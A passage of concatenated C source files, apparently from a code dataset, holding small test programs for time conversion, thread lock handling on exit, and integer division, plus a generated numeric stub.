(%d:%d)\n", offset, toffset, off_day, off_sec); return 0; } return 1; } int main(int argc, char **argv) { long offset; int fails; if (sizeof(time_t) < 8) { fprintf(stderr, "Skipping; time_t is less than 64-bits\n"); return 0; } for (fails = 0, offset = 0; offset < 1000000; offset++) { if (!check_time(offset)) fails++; if (!check_time(-offset)) fails++; if (!check_time(offset * 1000)) fails++; if (!check_time(-offset * 1000)) fails++; } return fails ? 1 : 0; }
the_stack_data/198579924.c
#include <stdio.h> double scilab_rt_grand_i0i0s0d0d0_(int in0, int in1, char* in2, double in3, double in4) { double val0 = 0; printf("%s", in2); val0 = in0 + in1 + in3 + in4; printf("%f", val0); return val0; }
the_stack_data/393908.c
#include <pthread.h> #include <unistd.h> #include <assert.h> #include <signal.h> /* Should see 3 threads exiting in different ways, all holding one (or two) locks. */ pthread_mutex_t mxC1 = PTHREAD_MUTEX_INITIALIZER; pthread_mutex_t mxC2 = PTHREAD_MUTEX_INITIALIZER; pthread_mutex_t mxC2b = PTHREAD_MUTEX_INITIALIZER; pthread_mutex_t mxP = PTHREAD_MUTEX_INITIALIZER; /* This one exits in the normal way, by joining back */ void* child_fn1 ( void* arg ) { int r= pthread_mutex_lock( &mxC1 ); assert(!r); return NULL; } /* This one detaches, does its own thing. */ void* child_fn2 ( void* arg ) { int r; r= pthread_mutex_lock( &mxC2 ); assert(!r); r= pthread_mutex_lock( &mxC2b ); assert(!r); r= pthread_detach( pthread_self() ); assert(!r); return NULL; } /* Parent creates 2 children, takes a lock, waits, segfaults. Use sleeps to enforce exit ordering, for repeatable regtesting. */ int main ( void ) { int r; pthread_t child1, child2; r= pthread_create(&child2, NULL, child_fn2, NULL); assert(!r); sleep(1); r= pthread_create(&child1, NULL, child_fn1, NULL); assert(!r); r= pthread_join(child1, NULL); assert(!r); sleep(1); r= pthread_mutex_lock( &mxP ); kill( getpid(), SIGABRT ); return 0; }
the_stack_data/1103341.c
dd (x,d) { return x / d; } main () { int i; for (i = -3; i <= 3; i++) { if (dd (i, 1) != i / 1) abort (); if (dd (i, 2) != i / 2) abort (); if (dd (i, 3) != i / 3) abort (); if (dd (i, 4) != i / 4) abort (); if (dd (i, 5) != i / 5) abort (); if (dd (i, 6) != i / 6) abort (); if (dd (i, 7) != i / 7) abort (); if (dd (i, 8) != i / 8) abort (); } for (i = ((unsigned) ~0 >> 1) - 3; i <= ((unsigned) ~0 >> 1) + 3; i++) { if (dd (i, 1) != i / 1) abort (); if (dd (i, 2) != i / 2) abort (); if (dd (i, 3) != i / 3) abort (); if (dd (i, 4) != i / 4) abort (); if (dd (i, 5) != i / 5) abort (); if (dd (i, 6) != i / 6) abort (); if (dd (i, 7) != i / 7) abort (); if (dd (i, 8) != i / 8) abort (); } exit (0); }